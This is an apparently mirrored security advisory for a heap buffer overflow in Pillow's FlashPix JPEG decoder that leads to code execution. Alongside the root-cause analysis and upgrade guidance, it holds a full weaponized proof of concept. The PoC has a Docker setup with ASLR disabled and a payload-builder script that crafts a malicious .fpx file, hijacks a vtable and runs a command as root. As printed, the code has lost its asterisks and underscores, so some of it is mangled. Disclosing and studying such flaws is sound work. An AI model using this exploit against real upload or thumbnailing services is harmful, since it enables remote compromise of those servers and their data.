GHSA-5x8w-8jj5-q52h: Buffer Overflow

Published Oct 23, 2026
·
Updated

Credits

Researcher: Alex Bouffard (mixbo@pebwalker.com)

Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with Image.open(). The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional olefile dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x8664 Ubuntu 24.04, glibc 2.39).

Details

FpxImagePlugin decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

Image.open() auto-detects them from the OLE2 magic D0CF11E0... whenever the optional olefile package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (compression == 2), the plugin builds a "jpeg" decode tile and derives the (rawmode, jpegmode) pair from attacker-controlled FPX color IDs through the MODES table (src/PIL/FpxImagePlugin.py L25-L32):

python MODES = { ... (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel) ... (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P" }

The Imaging output buffer for the tile is sized for the rawmode (here "LA" = 2 bytes/pixel) (src/decode.c L223-L226):

c state->bytes = (state->bits state->xsize + 7) / 8; // "LA" gives 2 xsize bytes/row ... state->buffer = (UINT8 )calloc(1, state->bytes);

In JpegDecode.c the rawmode string is mapped to a libjpeg outcolorspace. Recognized modes (CMYK, YCbCr, YCbCrK, and so on) get a concrete colorspace, but "LA" and "YCC;P" are not recognized, so control reaches the fallback branch (src/libImaging/JpegDecode.c L219-L221):

c / Disable decoder conversions. / context->cinfo.jpegcolorspace = JCSUNKNOWN; context->cinfo.outcolorspace = JCSUNKNOWN;

Under JCSUNKNOWN, libjpeg performs no color conversion and emits cinfo.numcomponents bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So jpegreadscanlines writes 4 width bytes per row into a buffer allocated for only 2 width bytes (src/libImaging/JpegDecode.c L252):

c ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1); // writes 4W into a 2W buffer

This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about 2 width bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python bytes object's obtype with a pointer to a fake PyTypeObject / PyBufferProcs vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, PyBufferRelease walks obtype -> tpasbuffer -> bfreleasebuffer and executes call rax; the PoC points that at system@plt (fixed, the interpreter binary is non-PIE) with rdi set to the command string, yielding command execution.

PoC

To facilitate an exact reproduction on an x8664 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from Annex A.

The source code for the payload builder makepayload.py is in Annex B.

vulnerable.py is the program under test, a one-liner that opens the file it is given:

python #!/usr/bin/env python3 The entire vulnerable operation an application performs on an untrusted file. import sys from PIL import Image

Image.open(sys.argv[1]).load()

The payload is a standalone .fpx file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run makepayload.py inside the same container here purely for convenience, so its baked-in addresses (--offset, system@plt) match this pinned image. The payload redirects the hijacked indirect call to system@plt (0x4206c0, fixed because the interpreter binary is non-PIE) with a baked-in command:

console $ python3 makepayload.py --target 0x4206c0 --cmd id --out shell.fpx [control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craftiters=0 bad=0 [control] opening it: vtable hijack -> call 0x4206c0 with rdi -> 'id'

Then open it with vulnerable.py:

console $ python3 vulnerable.py shell.fpx uid=0(root) gid=0(root) groups=0(root) corrupted size vs. prevsize

Image.open() of the crafted file runs the baked command via system("id"): command execution as the user running the image processing (root in the container).

The trailing corrupted size vs. prevsize is glibc aborting during interpreter teardown over the corrupted heap, after id has already run.

The builder writes the command inline at the hijacked rdi, so --cmd is limited to 7 bytes (for example id, id;w). --offset and system@plt are constants of the pinned, ASLR-disabled image and hold across runs of it.

Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional olefile dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal Image.open() / load, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.

Annex A: Docker setup

The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (setarch -R) to reduce the system knowledge requirements. The single --security-opt seccomp=unconfined flag on docker run is required only because turning ASLR off uses the personality() syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.

1. Build the image. Put vulnerable.py (PoC) and makepayload.py (Annex B) in a directory with this Dockerfile:

dockerfile FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \ && rm -rf /var/lib/apt/lists/ RUN python3.12 -m venv /opt/v \ && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47" ENV PATH=/opt/v/bin:$PATH WORKDIR /poc ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap. ENTRYPOINT ["setarch", "-R"] CMD ["bash"]

console $ docker build -t fjpeg1-poc . ... Downloading pillow-12.2.0-cp312-cp312-manylinux227x8664.manylinux228x8664.whl (7.1 MB) Successfully installed Pillow-12.2.0 olefile-0.47 Successfully built 370344c832b6 Successfully tagged fjpeg1-poc:latest

2. Start the (ASLR-disabled) container shell with the scripts mounted:

sh docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Annex B: payload builder source

makepayload.py:

python #!/usr/bin/env python3 """F-JPEG-1 payload builder for a 0-ASLR box (x8664 + glibc), pure Pillow (no native toolchain). Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCSUNKNOWN path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's obtype. --crash flood an adjacent obtype with 0x42.. -> SIGSEGV in PyBufferRelease (default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call --target Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.""" import sys, io, struct, math, argparse from PIL import Image

W, H = 65000, 2 SECT, OBTYPEOFF, DATAPAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748 FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF FPXCLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B") o32 = lambda v: struct.pack("<I", v) p64 = lambda v: struct.pack("<Q", v) INV = bytes(255 - i for i in range(256)) # 8-bit inversion table

def jpeg(src): b = io.BytesIO() Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0) return b.getvalue()

def decoderow(jpg): # Predict what the vulnerable JCSUNKNOWN path decodes, using Pillow itself: JCSUNKNOWN emits # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The # last decoded row is the one that lands in (and overflows past) the buffer. px = Image.open(io.BytesIO(jpg)).tobytes() return px[(H - 1) W 4:].translate(INV)

def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge) # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern # that reaches PyBufferRelease cleanly (uniform 0x42 avoids a premature glibc free() abort). src = bytearray(b"\xbd" (W H 4)); base = (H - 1) W 4; it = 0 for off, t in targets: for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v for it in range(iters): dec = decoderow(jpeg(src)); bad = 0 for off, t in targets: for i, v in enumerate(t): if dec[off + i] != v: bad += 1 src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v)) if not bad: break return jpeg(src), it, bad

def maxidfor(w, h): s, i = max(w, h), 1 while s > 64: s //= 2; i += 1 return i - 1 MAXID = maxidfor(W, H); RESNAME = "Resolution %04d" % MAXID

def imagecontents(): ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA" props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))] voff = 8 + 8 len(props); idx = vals = b"" for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v) body = o32(len(props)) + idx + vals return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" 16 + o32(1) + b"\x00" 16 + o32(48) + o32(len(body) + 4) + body)

def subimageheader(): b = bytearray(80) for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2), (56, 36), (60, 16), (64, 0), (72, 2)]: struct.packinto("<I", b, o, v) return bytes(b)

def buildfpx(jpg, out): data = b"\x00" 28 + jpg assert len(data) <= DATAPAD, (len(data), DATAPAD) pad = lambda x: x + b"\x00" ((-len(x)) % SECT) sd = {"ic": pad(imagecontents().ljust(4096, b"\x00")), "hdr": pad(subimageheader().ljust(4096, b"\x00")), "dat": pad(data.ljust(DATAPAD, b"\x00"))} ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"] dsec = math.ceil(6 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order) fsec = 1 while fsec 128 < fsec + content: fsec += 1 pos = {}; cur = fsec; dstart = cur; cur += dsec for k in order: pos[k] = cur; cur += ns(sd[k]) total = cur fat = [FREESECT] (fsec 128) for s in range(fsec): fat[s] = FATSECT def chain(a, n): for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN chain(dstart, dsec) for k in order: chain(pos[k], ns(sd[k])) def de(nm, t, ch, l, r, st, sz, cl=b"\x00" 16): n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64] return (n + struct.pack("<HBB", min((len(nm) + 1) 2, 64), t, 1) + o32(l) + o32(r) + o32(ch) + cl + o32(0) + b"\x00" 16 + o32(st) + struct.pack("<Q", sz)) directory = pad(b"".join([ de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPXCLSID), de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])), de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])), de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))])) h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1") for o, fmt, v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec), (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]: struct.packinto(fmt, h, o, v) for i in range(109): struct.packinto("<I", h, 76 + i 4, i if i < fsec else FREESECT) secs = [b""] total for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s 128:(s + 1) 128]) for j in range(dsec): secs[dstart + j] = directory[j SECT:(j + 1) SECT] for k in order: for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j SECT:(j + 1) SECT] open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEMPLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main(): ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)") ap.addargument("--out", required=True, help="output .fpx path") ap.addargument("--crash", action="storetrue", help="crash mode: flood an adjacent obtype with 0x42.. and SIGSEGV (no addresses)") ap.addargument("--heap-base", type=xhex, default=0xbaa000, help="fixed heap base of the 0-ASLR box (default 0xbaa000)") ap.addargument("--offset", type=xhex, default=0x21e800, help="state->buffer - heapbase (default 0x21e800 -> S=0xdc8800)") ap.addargument("--target", type=xhex, default=SENTINEL, help="value called via the hijacked vtable; pass %#x (system@plt) for " "command execution (default is a sentinel for an RIP-control demo)" % SYSTEMPLT) ap.addargument("--cmd", default="id", help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)") a = ap.parseargs()

if a.crash: # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD # to make the decoded overflow bytes 0x42 -> the adjacent obtype becomes 0x4242424242424242. buildfpx(jpeg(bytes([0xBD]) (W H 4)), a.out) print("[crash] %s: opening it overwrites an adjacent obtype with 0x4242424242424242 " "-> SIGSEGV in PyBufferRelease (no addresses)" % a.out) return

if len(a.cmd.encode()) > 7: sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before obtype)") S = a.heapbase + a.offset A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET tg = [(OBTYPEOFF, p64(S + (A0 + A1) // 2)), (OBTYPEOFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system() tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8 tg += [(o, p64(a.target)) for o in range(B0, B1, 8)] jpg, it, bad = craft(tg) buildfpx(jpg, a.out) print("[control] %s: S=%#x target=%#x cmd=%r craftiters=%d bad=%d" % (a.out, S, a.target, a.cmd, it, bad)) print("[control] opening it: vtable hijack -> call %#x with rdi -> %r" % (a.target, a.cmd))

if name == "main": main()

Affected Software

1 affected componentFixes available
pip/pillow<=12.3.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0

Event History

Oct 23, 2026
Advisory Published
via GitHub·09:55 PM
Data Sourced
via GitHub·09:55 PM
DescriptionWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203